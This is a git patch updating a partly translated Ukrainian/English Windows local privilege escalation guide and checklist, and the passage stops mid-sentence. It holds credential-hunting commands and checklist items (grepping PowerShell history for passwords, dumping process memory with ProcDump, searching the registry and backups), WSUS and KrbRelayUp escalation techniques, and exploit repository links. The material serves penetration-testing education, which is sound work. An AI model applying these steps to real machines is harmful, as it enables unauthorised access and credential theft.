From 90200b0217560de50df85c61b10b684a835183d4 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 3 Sep 2025 14:51:30 +0000 Subject: [PATCH] Translated ['src/windows-hardening/windows-local-privilege-escalation/ab --- src/SUMMARY.md | 1 + .../checklist-windows-privilege-escalation.md | 161 ++-- .../README.md | 705 +++++++++--------- .../abusing-auto-updaters-and-ipc.md | 123 +++ 4 files changed, 564 insertions(+), 426 deletions(-) create mode 100644 src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 343cdd455..9a62d47c5 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -236,6 +236,7 @@ - [Authentication Credentials Uac And Efs](windows-hardening/authentication-credentials-uac-and-efs.md) - [Checklist - Local Windows Privilege Escalation](windows-hardening/checklist-windows-privilege-escalation.md) - [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md) + - [Abusing Auto Updaters And Ipc](windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md) - [Arbitrary Kernel Rw Token Theft](windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md) - [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md) - [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md) diff --git a/src/windows-hardening/checklist-windows-privilege-escalation.md b/src/windows-hardening/checklist-windows-privilege-escalation.md index 15800ae02..3ae8412fe 100644 --- a/src/windows-hardening/checklist-windows-privilege-escalation.md +++ b/src/windows-hardening/checklist-windows-privilege-escalation.md @@ -1,114 +1,115 @@ -# Чеклист - Локальне підвищення привілеїв Windows +# Контрольний список - Local Windows Privilege Escalation {{#include ../banners/hacktricks-training.md}} -### **Найкращий інструмент для пошуку векторів локального підвищення привілеїв Windows:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) +### **Best tool to look for Windows local privilege escalation vectors:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) -### [Інформація про систему](windows-local-privilege-escalation/index.html#system-info) +### [System Info](windows-local-privilege-escalation/index.html#system-info) -- [ ] Отримати [**інформацію про систему**](windows-local-privilege-escalation/index.html#system-info) -- [ ] Шукати **експлойти ядра** [**за допомогою скриптів**](windows-local-privilege-escalation/index.html#version-exploits) -- [ ] Використовувати **Google для пошуку** експлойтів ядра -- [ ] Використовувати **searchsploit для пошуку** експлойтів ядра -- [ ] Цікава інформація в [**змінних середовища**](windows-local-privilege-escalation/index.html#environment)? -- [ ] Паролі в [**історії PowerShell**](windows-local-privilege-escalation/index.html#powershell-history)? -- [ ] Цікава інформація в [**налаштуваннях Інтернету**](windows-local-privilege-escalation/index.html#internet-settings)? -- [ ] [**Диски**](windows-local-privilege-escalation/index.html#drives)? -- [ ] [**Експлойт WSUS**](windows-local-privilege-escalation/index.html#wsus)? +- [ ] Отримати [**System information**](windows-local-privilege-escalation/index.html#system-info) +- [ ] Шукати **kernel** [**exploits using scripts**](windows-local-privilege-escalation/index.html#version-exploits) +- [ ] Використати **Google** для пошуку kernel **exploits** +- [ ] Використати **searchsploit** для пошуку kernel **exploits** +- [ ] Цікава інформація в [**env vars**](windows-local-privilege-escalation/index.html#environment)? +- [ ] Паролі в [**PowerShell history**](windows-local-privilege-escalation/index.html#powershell-history)? +- [ ] Цікава інформація в [**Internet settings**](windows-local-privilege-escalation/index.html#internet-settings)? +- [ ] [**Drives**](windows-local-privilege-escalation/index.html#drives)? +- [ ] [**WSUS exploit**](windows-local-privilege-escalation/index.html#wsus)? +- [ ] [**Third-party agent auto-updaters / IPC abuse**](windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md) - [ ] [**AlwaysInstallElevated**](windows-local-privilege-escalation/index.html#alwaysinstallelevated)? -### [Перерахування журналів/AV](windows-local-privilege-escalation/index.html#enumeration) +### [Logging/AV enumeration](windows-local-privilege-escalation/index.html#enumeration) -- [ ] Перевірити [**налаштування аудиту**](windows-local-privilege-escalation/index.html#audit-settings) та [**WEF**](windows-local-privilege-escalation/index.html#wef) +- [ ] Перевірити [**Audit** ](windows-local-privilege-escalation/index.html#audit-settings)та [**WEF** ](windows-local-privilege-escalation/index.html#wef)налаштування - [ ] Перевірити [**LAPS**](windows-local-privilege-escalation/index.html#laps) -- [ ] Перевірити, чи активний [**WDigest**](windows-local-privilege-escalation/index.html#wdigest) -- [ ] [**Захист LSA**](windows-local-privilege-escalation/index.html#lsa-protection)? +- [ ] Перевірити, чи активний [**WDigest** ](windows-local-privilege-escalation/index.html#wdigest) +- [ ] [**LSA Protection**](windows-local-privilege-escalation/index.html#lsa-protection)? - [ ] [**Credentials Guard**](windows-local-privilege-escalation/index.html#credentials-guard)[?](windows-local-privilege-escalation/index.html#cached-credentials) -- [ ] [**Кешовані облікові дані**](windows-local-privilege-escalation/index.html#cached-credentials)? -- [ ] Перевірити, чи є [**AV**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/windows-av-bypass/README.md) -- [ ] [**Політика AppLocker**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/README.md#applocker-policy)? +- [ ] [**Cached Credentials**](windows-local-privilege-escalation/index.html#cached-credentials)? +- [ ] Перевірити наявність будь-якого [**AV**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/windows-av-bypass/README.md) +- [ ] [**AppLocker Policy**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/README.md#applocker-policy)? - [ ] [**UAC**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control/README.md) -- [ ] [**Привілеї користувача**](windows-local-privilege-escalation/index.html#users-and-groups) -- [ ] Перевірити [**привілеї поточного користувача**](windows-local-privilege-escalation/index.html#users-and-groups) -- [ ] Чи є ви [**членом будь-якої привілейованої групи**](windows-local-privilege-escalation/index.html#privileged-groups)? -- [ ] Перевірити, чи є у вас [будь-які з цих токенів, активованих](windows-local-privilege-escalation/index.html#token-manipulation): **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ? -- [ ] [**Сесії користувачів**](windows-local-privilege-escalation/index.html#logged-users-sessions)? -- [ ] Перевірити [**домашні папки користувачів**](windows-local-privilege-escalation/index.html#home-folders) (доступ?) -- [ ] Перевірити [**Політику паролів**](windows-local-privilege-escalation/index.html#password-policy) -- [ ] Що [**всередині буфера обміну**](windows-local-privilege-escalation/index.html#get-the-content-of-the-clipboard)? +- [ ] [**User Privileges**](windows-local-privilege-escalation/index.html#users-and-groups) +- [ ] Перевірити [**current** user **privileges**](windows-local-privilege-escalation/index.html#users-and-groups) +- [ ] Чи є ви [**member of any privileged group**](windows-local-privilege-escalation/index.html#privileged-groups)? +- [ ] Перевірити, чи увімкнено будь-який із цих токенів: **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ? +- [ ] [**Users Sessions**](windows-local-privilege-escalation/index.html#logged-users-sessions)? +- [ ] Перевірити[ **users homes**](windows-local-privilege-escalation/index.html#home-folders) (доступ?) +- [ ] Перевірити [**Password Policy**](windows-local-privilege-escalation/index.html#password-policy) +- [ ] Що знаходиться[ **inside the Clipboard**](windows-local-privilege-escalation/index.html#get-the-content-of-the-clipboard)? -### [Мережа](windows-local-privilege-escalation/index.html#network) +### [Network](windows-local-privilege-escalation/index.html#network) -- [ ] Перевірити **поточну** [**мережеву** **інформацію**](windows-local-privilege-escalation/index.html#network) -- [ ] Перевірити **приховані локальні служби**, обмежені для зовнішнього доступу +- [ ] Перевірити **current** [**network** **information**](windows-local-privilege-escalation/index.html#network) +- [ ] Перевірити **hidden local services**, обмежені зовні -### [Запущені процеси](windows-local-privilege-escalation/index.html#running-processes) +### [Running Processes](windows-local-privilege-escalation/index.html#running-processes) -- [ ] Бінарні файли процесів [**дозволи на файли та папки**](windows-local-privilege-escalation/index.html#file-and-folder-permissions) -- [ ] [**Видобуток паролів з пам'яті**](windows-local-privilege-escalation/index.html#memory-password-mining) -- [ ] [**Небезпечні GUI додатки**](windows-local-privilege-escalation/index.html#insecure-gui-apps) -- [ ] Вкрасти облікові дані з **цікавих процесів** за допомогою `ProcDump.exe` ? (firefox, chrome тощо ...) +- [ ] Бінарні файли процесів [**file and folders permissions**](windows-local-privilege-escalation/index.html#file-and-folder-permissions) +- [ ] [**Memory Password mining**](windows-local-privilege-escalation/index.html#memory-password-mining) +- [ ] [**Insecure GUI apps**](windows-local-privilege-escalation/index.html#insecure-gui-apps) +- [ ] Вкрасти облікові дані з **interesting processes** за допомогою `ProcDump.exe` ? (firefox, chrome, etc ...) -### [Служби](windows-local-privilege-escalation/index.html#services) +### [Services](windows-local-privilege-escalation/index.html#services) -- [ ] [Чи можете ви **модифікувати будь-яку службу**?](windows-local-privilege-escalation/index.html#permissions) -- [ ] [Чи можете ви **модифікувати** **бінарний файл**, який **виконується** будь-якою **службою**?](windows-local-privilege-escalation/index.html#modify-service-binary-path) -- [ ] [Чи можете ви **модифікувати** **реєстр** будь-якої **служби**?](windows-local-privilege-escalation/index.html#services-registry-modify-permissions) -- [ ] [Чи можете ви скористатися будь-яким **нецитованим шляхом** бінарного файлу **служби**?](windows-local-privilege-escalation/index.html#unquoted-service-paths) +- [ ] Чи можете ви **modify any service**?(windows-local-privilege-escalation/index.html#permissions) +- [ ] Чи можете ви **modify** the **binary** that is **executed** by any **service**?(windows-local-privilege-escalation/index.html#modify-service-binary-path) +- [ ] Чи можете ви **modify** the **registry** of any **service**?(windows-local-privilege-escalation/index.html#services-registry-modify-permissions) +- [ ] Чи можна скористатися будь-яким **unquoted service** binary **path**?(windows-local-privilege-escalation/index.html#unquoted-service-paths) -### [**Додатки**](windows-local-privilege-escalation/index.html#applications) +### [**Applications**](windows-local-privilege-escalation/index.html#applications) -- [ ] **Записати** [**дозволи на встановлені додатки**](windows-local-privilege-escalation/index.html#write-permissions) -- [ ] [**Додатки автозавантаження**](windows-local-privilege-escalation/index.html#run-at-startup) -- [ ] **Вразливі** [**драйвери**](windows-local-privilege-escalation/index.html#drivers) +- [ ] **Write** [**permissions on installed applications**](windows-local-privilege-escalation/index.html#write-permissions) +- [ ] [**Startup Applications**](windows-local-privilege-escalation/index.html#run-at-startup) +- [ ] **Vulnerable** [**Drivers**](windows-local-privilege-escalation/index.html#drivers) ### [DLL Hijacking](windows-local-privilege-escalation/index.html#path-dll-hijacking) -- [ ] Чи можете ви **записувати в будь-яку папку всередині PATH**? -- [ ] Чи є відомий бінарний файл служби, який **намагається завантажити будь-який неіснуючий DLL**? -- [ ] Чи можете ви **записувати** в будь-якій **папці бінарних файлів**? +- [ ] Чи можете ви **write in any folder inside PATH**? +- [ ] Чи є відомий service binary, який **tries to load any non-existant DLL**? +- [ ] Чи можете ви **write** в будь-яку **binaries folder**? -### [Мережа](windows-local-privilege-escalation/index.html#network) +### [Network](windows-local-privilege-escalation/index.html#network) -- [ ] Перерахувати мережу (спільні ресурси, інтерфейси, маршрути, сусіди тощо ...) -- [ ] Уважно перевірити мережеві служби, що слухають на localhost (127.0.0.1) +- [ ] Перелічити мережу (shares, interfaces, routes, neighbours, ...) +- [ ] Особливу увагу приділити мережевим сервісам, що слухають на localhost (127.0.0.1) -### [Облікові дані Windows](windows-local-privilege-escalation/index.html#windows-credentials) +### [Windows Credentials](windows-local-privilege-escalation/index.html#windows-credentials) -- [ ] [**Облікові дані Winlogon**](windows-local-privilege-escalation/index.html#winlogon-credentials) -- [ ] [**Облікові дані Windows Vault**](windows-local-privilege-escalation/index.html#credentials-manager-windows-vault), які ви могли б використовувати? -- [ ] Цікаві [**облікові дані DPAPI**](windows-local-privilege-escalation/index.html#dpapi)? -- [ ] Паролі збережених [**Wifi мереж**](windows-local-privilege-escalation/index.html#wifi)? -- [ ] Цікава інформація в [**збережених RDP з'єднаннях**](windows-local-privilege-escalation/index.html#saved-rdp-connections)? -- [ ] Паролі в [**недавніх командах**](windows-local-privilege-escalation/index.html#recently-run-commands)? -- [ ] Паролі [**менеджера облікових даних віддаленого робочого столу**](windows-local-privilege-escalation/index.html#remote-desktop-credential-manager)? -- [ ] Чи існує [**AppCmd.exe**](windows-local-privilege-escalation/index.html#appcmd-exe)? Облікові дані? -- [ ] [**SCClient.exe**](windows-local-privilege-escalation/index.html#scclient-sccm)? Завантаження DLL з боку? +- [ ] [**Winlogon** ](windows-local-privilege-escalation/index.html#winlogon-credentials) credentials +- [ ] Чи є [**Windows Vault**](windows-local-privilege-escalation/index.html#credentials-manager-windows-vault) credentials, які можна використати? +- [ ] Цікаві [**DPAPI credentials**](windows-local-privilege-escalation/index.html#dpapi)? +- [ ] Паролі збережених [**Wifi networks**](windows-local-privilege-escalation/index.html#wifi)? +- [ ] Цікава інформація в [**saved RDP Connections**](windows-local-privilege-escalation/index.html#saved-rdp-connections)? +- [ ] Паролі в [**recently run commands**](windows-local-privilege-escalation/index.html#recently-run-commands)? +- [ ] [**Remote Desktop Credentials Manager**](windows-local-privilege-escalation/index.html#remote-desktop-credential-manager) паролі? +- [ ] [**AppCmd.exe** exists](windows-local-privilege-escalation/index.html#appcmd-exe)? Credentials? +- [ ] [**SCClient.exe**](windows-local-privilege-escalation/index.html#scclient-sccm)? DLL Side Loading? -### [Файли та реєстр (Облікові дані)](windows-local-privilege-escalation/index.html#files-and-registry-credentials) +### [Files and Registry (Credentials)](windows-local-privilege-escalation/index.html#files-and-registry-credentials) -- [ ] **Putty:** [**Облікові дані**](windows-local-privilege-escalation/index.html#putty-creds) **та** [**SSH ключі хоста**](windows-local-privilege-escalation/index.html#putty-ssh-host-keys) -- [ ] [**SSH ключі в реєстрі**](windows-local-privilege-escalation/index.html#ssh-keys-in-registry)? -- [ ] Паролі в [**непідконтрольних файлах**](windows-local-privilege-escalation/index.html#unattended-files)? -- [ ] Будь-яка [**резервна копія SAM & SYSTEM**](windows-local-privilege-escalation/index.html#sam-and-system-backups)? -- [ ] [**Облікові дані хмари**](windows-local-privilege-escalation/index.html#cloud-credentials)? -- [ ] Файл [**McAfee SiteList.xml**](windows-local-privilege-escalation/index.html#mcafee-sitelist.xml)? -- [ ] [**Кешований GPP пароль**](windows-local-privilege-escalation/index.html#cached-gpp-pasword)? -- [ ] Пароль у [**файлі конфігурації IIS**](windows-local-privilege-escalation/index.html#iis-web-config)? -- [ ] Цікава інформація в [**веб** **журналах**](windows-local-privilege-escalation/index.html#logs)? -- [ ] Чи хочете ви [**попросити облікові дані**](windows-local-privilege-escalation/index.html#ask-for-credentials) у користувача? -- [ ] Цікаві [**файли в кошику**](windows-local-privilege-escalation/index.html#credentials-in-the-recyclebin)? -- [ ] Інші [**реєстри, що містять облікові дані**](windows-local-privilege-escalation/index.html#inside-the-registry)? -- [ ] Всередині [**даних браузера**](windows-local-privilege-escalation/index.html#browsers-history) (бази даних, історія, закладки тощо)? -- [ ] [**Загальний пошук паролів**](windows-local-privilege-escalation/index.html#generic-password-search-in-files-and-registry) у файлах та реєстрі -- [ ] [**Інструменти**](windows-local-privilege-escalation/index.html#tools-that-search-for-passwords) для автоматичного пошуку паролів +- [ ] **Putty:** [**Creds**](windows-local-privilege-escalation/index.html#putty-creds) **and** [**SSH host keys**](windows-local-privilege-escalation/index.html#putty-ssh-host-keys) +- [ ] [**SSH keys in registry**](windows-local-privilege-escalation/index.html#ssh-keys-in-registry)? +- [ ] Паролі в [**unattended files**](windows-local-privilege-escalation/index.html#unattended-files)? +- [ ] Будь-яка резервна копія [**SAM & SYSTEM**](windows-local-privilege-escalation/index.html#sam-and-system-backups)? +- [ ] [**Cloud credentials**](windows-local-privilege-escalation/index.html#cloud-credentials)? +- [ ] [**McAfee SiteList.xml**](windows-local-privilege-escalation/index.html#mcafee-sitelist.xml) файл? +- [ ] [**Cached GPP Password**](windows-local-privilege-escalation/index.html#cached-gpp-pasword)? +- [ ] Пароль в [**IIS Web config file**](windows-local-privilege-escalation/index.html#iis-web-config)? +- [ ] Цікава інформація в [**web** **logs**](windows-local-privilege-escalation/index.html#logs)? +- [ ] Хочете [**ask for credentials**](windows-local-privilege-escalation/index.html#ask-for-credentials) у користувача? +- [ ] Цікаві [**files inside the Recycle Bin**](windows-local-privilege-escalation/index.html#credentials-in-the-recyclebin)? +- [ ] Інші [**registry containing credentials**](windows-local-privilege-escalation/index.html#inside-the-registry)? +- [ ] Всередині [**Browser data**](windows-local-privilege-escalation/index.html#browsers-history) (dbs, history, bookmarks, ...)? +- [ ] [**Generic password search**](windows-local-privilege-escalation/index.html#generic-password-search-in-files-and-registry) у файлах та реєстрі +- [ ] [**Tools**](windows-local-privilege-escalation/index.html#tools-that-search-for-passwords) для автоматичного пошуку паролів -### [Витік обробників](windows-local-privilege-escalation/index.html#leaked-handlers) +### [Leaked Handlers](windows-local-privilege-escalation/index.html#leaked-handlers) -- [ ] Чи маєте ви доступ до будь-якого обробника процесу, запущеного адміністратором? +- [ ] Чи маєте доступ до будь-якого handler процесу, запущеного адміністратором? -### [Імітація клієнта Pipe](windows-local-privilege-escalation/index.html#named-pipe-client-impersonation) +### [Pipe Client Impersonation](windows-local-privilege-escalation/index.html#named-pipe-client-impersonation) -- [ ] Перевірте, чи можете ви це зловживати +- [ ] Перевірте, чи можна його зловживати {{#include ../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/windows-local-privilege-escalation/README.md b/src/windows-hardening/windows-local-privilege-escalation/README.md index b2679d177..580bffb6d 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/README.md +++ b/src/windows-hardening/windows-local-privilege-escalation/README.md @@ -2,9 +2,9 @@ {{#include ../../banners/hacktricks-training.md}} -### **Найкращий інструмент для пошуку Windows local privilege escalation векторів:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) +### **Найкращий інструмент для пошуку векторів Windows local privilege escalation:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) -## Початкова теорія Windows +## Вступна теорія Windows ### Access Tokens @@ -17,7 +17,7 @@ access-tokens.md ### ACLs - DACLs/SACLs/ACEs -**Перевірте наступну сторінку для отримання додаткової інформації про ACLs - DACLs/SACLs/ACEs:** +**Перегляньте наступну сторінку, щоб дізнатися більше про ACLs - DACLs/SACLs/ACEs:** {{#ref}} @@ -26,27 +26,27 @@ acls-dacls-sacls-aces.md ### Integrity Levels -**Якщо ви не знаєте, що таке integrity levels у Windows, ви повинні прочитати наступну сторінку перед продовженням:** +**Якщо ви не знаєте, що таке integrity levels у Windows, вам слід прочитати наступну сторінку перед продовженням:** {{#ref}} integrity-levels.md {{#endref}} -## Механізми безпеки Windows +## Контролі безпеки Windows -Є різні речі в Windows, які можуть **перешкоджати вам у перерахуванні системи**, запуску виконуваних файлів або навіть **виявленню ваших дій**. Ви повинні **прочитати** наступну **сторінку** та **перерахувати** усі ці **захисні** **механізми** перед початком розвідки для privilege escalation: +У Windows є різні механізми, які можуть **перешкодити вам в енумерації системи**, запуску виконуваних файлів або навіть **виявити вашу активність**. Ви повинні **прочитати** наступну **сторінку** і **перелічити** всі ці **захисні механізми** перед початком енумерації privilege escalation: {{#ref}} ../authentication-credentials-uac-and-efs/ {{#endref}} -## Інформація про систему +## System Info -### Перевірка інформації про версію +### Version info enumeration -Перевірте, чи має версія Windows відомі вразливості (також перевірте встановлені патчі). +Перевірте, чи має версія Windows відомі вразливості (також перевірте застосовані патчі). ```bash systeminfo systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information @@ -59,9 +59,9 @@ wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architec Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches Get-Hotfix -description "Security update" #List only "Security Update" patches ``` -### Експлойти за версіями +### Version Exploits -Цей [site](https://msrc.microsoft.com/update-guide/vulnerability) зручний для пошуку детальної інформації про вразливості в продуктах Microsoft. У цій базі даних понад 4,700 вразливостей безпеки, що демонструє **massive attack surface**, яке має середовище Windows. +This [site](https://msrc.microsoft.com/update-guide/vulnerability) корисний для пошуку детальної інформації про вразливості безпеки Microsoft. У базі понад 4,700 вразливостей, що демонструє **massive attack surface**, який має середовище Windows. **На системі** @@ -75,7 +75,7 @@ Get-Hotfix -description "Security update" #List only "Security Update" patches - [https://github.com/AonCyberLabs/Windows-Exploit-Suggester](https://github.com/AonCyberLabs/Windows-Exploit-Suggester) - [https://github.com/bitsadmin/wesng](https://github.com/bitsadmin/wesng) -**Github репозиторії експлойтів:** +**Github repos of exploits:** - [https://github.com/nomi-sec/PoC-in-GitHub](https://github.com/nomi-sec/PoC-in-GitHub) - [https://github.com/abatchy17/WindowsExploits](https://github.com/abatchy17/WindowsExploits) @@ -83,7 +83,7 @@ Get-Hotfix -description "Security update" #List only "Security Update" patches ### Середовище -Чи збережені які-небудь облікові дані або важлива (juicy) інформація в env variables? +Є якісь облікові дані/Juicy info, збережені в env variables? ```bash set dir env: @@ -99,9 +99,9 @@ type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.tx cat (Get-PSReadlineOption).HistorySavePath cat (Get-PSReadlineOption).HistorySavePath | sls passw ``` -### Файли PowerShell Transcript +### Файли транскрипції PowerShell -Ви можете дізнатися, як увімкнути це за адресою [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/) +Ви можете дізнатися, як це увімкнути за посиланням [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/) ```bash #Check is enable in the registry reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription @@ -116,22 +116,22 @@ Stop-Transcript ``` ### PowerShell Module Logging -Фіксуються деталі виконань PowerShell pipeline, зокрема виконані команди, виклики команд і частини скриптів. Однак повні деталі виконання та результати виводу можуть не зберігатися. +Фіксуються деталі виконань PowerShell pipeline, зокрема виконані команди, виклики команд та частини скриптів. Проте повні деталі виконання та результати виводу можуть бути не зафіксовані. -Щоб увімкнути це, дотримуйтесь інструкцій у розділі документації "Transcript files", обравши **"Module Logging"** замість **"Powershell Transcription"**. +Щоб увімкнути це, дотримуйтесь інструкцій у розділі "Transcript files" документації, обравши **"Module Logging"** замість **"Powershell Transcription"**. ```bash reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging ``` -Щоб переглянути останні 15 подій із логів PowersShell, ви можете виконати: +Щоб переглянути останні 15 подій у журналах PowersShell, ви можете виконати: ```bash Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView ``` ### PowerShell **Script Block Logging** -Фіксується повний журнал активності та вміст виконання скрипта, що гарантує документування кожного блоку коду під час його виконання. Цей процес зберігає всебічний аудиторський слід кожної дії, корисний для судової експертизи та аналізу шкідливої поведінки. Завдяки документуванню всіх дій під час виконання надаються детальні відомості про процес. +Зберігається повний запис активності та вмісту виконання скрипту, що гарантує документування кожного блоку коду під час виконання. Цей процес зберігає вичерпний журнал аудиту кожної дії, цінний для forensics та аналізу шкідливої поведінки. Документуючи всю активність у момент виконання, надаються детальні відомості про процес. ```bash reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging @@ -139,7 +139,7 @@ reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Script reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging ``` Журнали подій для Script Block можна знайти у Windows Event Viewer за шляхом: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\ -Щоб переглянути останні 20 подій, можна використати: +Щоб переглянути останні 20 подій, ви можете використати: ```bash Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview ``` @@ -156,17 +156,17 @@ Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ``` ## WSUS -Система може бути скомпрометована, якщо оновлення запитуються не через http**S**, а через http. +Систему можна скомпрометувати, якщо оновлення запитуються не через http**S**, а через http. -Почніть з перевірки, чи мережа використовує non-SSL WSUS update, виконавши наступне в cmd: +Почніть з перевірки, чи мережа використовує не-SSL WSUS для оновлень, виконавши наступне в cmd: ``` reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer ``` -Або наступне у PowerShell: +Або наступне в PowerShell: ``` Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer" ``` -Якщо ви отримаєте відповідь, схожу на одну з цих: +Якщо ви отримаєте відповідь, наприклад одну з цих: ```bash HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535 @@ -182,9 +182,9 @@ PSProvider : Microsoft.PowerShell.Core\Registry ``` І якщо `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` або `Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver"` дорівнює `1`. -Тоді, **його можна експлуатувати.** Якщо останній запис реєстру дорівнює 0, то запис WSUS буде ігнорований. +Тоді, **його можна експлуатувати.** Якщо останнє значення реєстру дорівнює 0, то запис WSUS буде ігноруватися. -Щоб експлуатувати ці вразливості, можна використовувати такі інструменти: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) — це MiTM weaponized exploits scripts для інжекції 'fake' оновлень у non-SSL WSUS трафік. +Щоб експлуатувати цю вразливість, можна використовувати інструменти, такі як: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) — це MiTM weaponized exploits scripts для ін’єкції підроблених оновлень у non-SSL WSUS-трафік. Read the research here: @@ -195,25 +195,33 @@ CTX_WSUSpect_White_Paper (1).pdf **WSUS CVE-2020-1013** [**Прочитайте повний звіт тут**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\ -По суті, це вразливість, яку використовує цей баг: +Загалом, це та вразливість, яку використовує цей баг: -> Якщо ми маємо можливість змінювати локальний проксі користувача, і Windows Updates використовує проксі, налаштований у налаштуваннях Internet Explorer, то ми, отже, можемо запустити [PyWSUS](https://github.com/GoSecure/pywsus) локально, щоб перехоплювати власний трафік і запускати код від імені elevated user на нашому хості. +> If we have the power to modify our local user proxy, and Windows Updates uses the proxy configured in Internet Explorer’s settings, we therefore have the power to run [PyWSUS](https://github.com/GoSecure/pywsus) locally to intercept our own traffic and run code as an elevated user on our asset. > -> Крім того, оскільки служба WSUS використовує налаштування поточного користувача, вона також використовуватиме його сховище сертифікатів. Якщо ми згенеруємо самопідписаний сертифікат для WSUS hostname і додамо цей сертифікат у сховище сертифікатів поточного користувача, ми зможемо перехоплювати як HTTP, так і HTTPS WSUS трафік. WSUS не використовує механізмів, подібних до HSTS, щоб реалізувати тип перевірки trust-on-first-use для сертифіката. Якщо представлений сертифікат довіряється користувачем і має правильний hostname, він буде прийнятий службою. +> Furthermore, since the WSUS service uses the current user’s settings, it will also use its certificate store. If we generate a self-signed certificate for the WSUS hostname and add this certificate into the current user’s certificate store, we will be able to intercept both HTTP and HTTPS WSUS traffic. WSUS uses no HSTS-like mechanisms to implement a trust-on-first-use type validation on the certificate. If the certificate presented is trusted by the user and has the correct hostname, it will be accepted by the service. Ви можете експлуатувати цю вразливість за допомогою інструменту [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (коли він стане доступним). +## Third-Party Auto-Updaters and Agent IPC (local privesc) + +Багато корпоративних агентів відкривають localhost IPC-інтерфейс і мають привілейований канал оновлень. Якщо реєстрацію (enrollment) можна примусити до сервера нападника, і оновлювач довіряє підробленому root CA або має слабку перевірку підпису, локальний користувач може доставити шкідливий MSI, який служба SYSTEM встановить. Див. узагальнену техніку (на основі ланцюжка Netskope stAgentSvc – CVE-2025-0309) тут: + +{{#ref}} +abusing-auto-updaters-and-ipc.md +{{#endref}} + ## KrbRelayUp -У Windows domain середовищах існує вразливість **local privilege escalation** за певних умов. Ці умови включають середовища, де **LDAP signing is not enforced**, користувачі мають права, що дозволяють їм налаштовувати **Resource-Based Constrained Delegation (RBCD)**, а також можливість створювати комп'ютери в домені. Важливо зазначити, що ці **вимоги** виконуються за **налаштувань за замовчуванням**. +A **local privilege escalation** vulnerability exists in Windows **domain** environments under specific conditions. These conditions include environments where **LDAP signing is not enforced,** users possess self-rights allowing them to configure **Resource-Based Constrained Delegation (RBCD),** and the capability for users to create computers within the domain. It is important to note that these **requirements** are met using **default settings**. -Знайдіть **експлойт** в [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp) +Find the **exploit in** 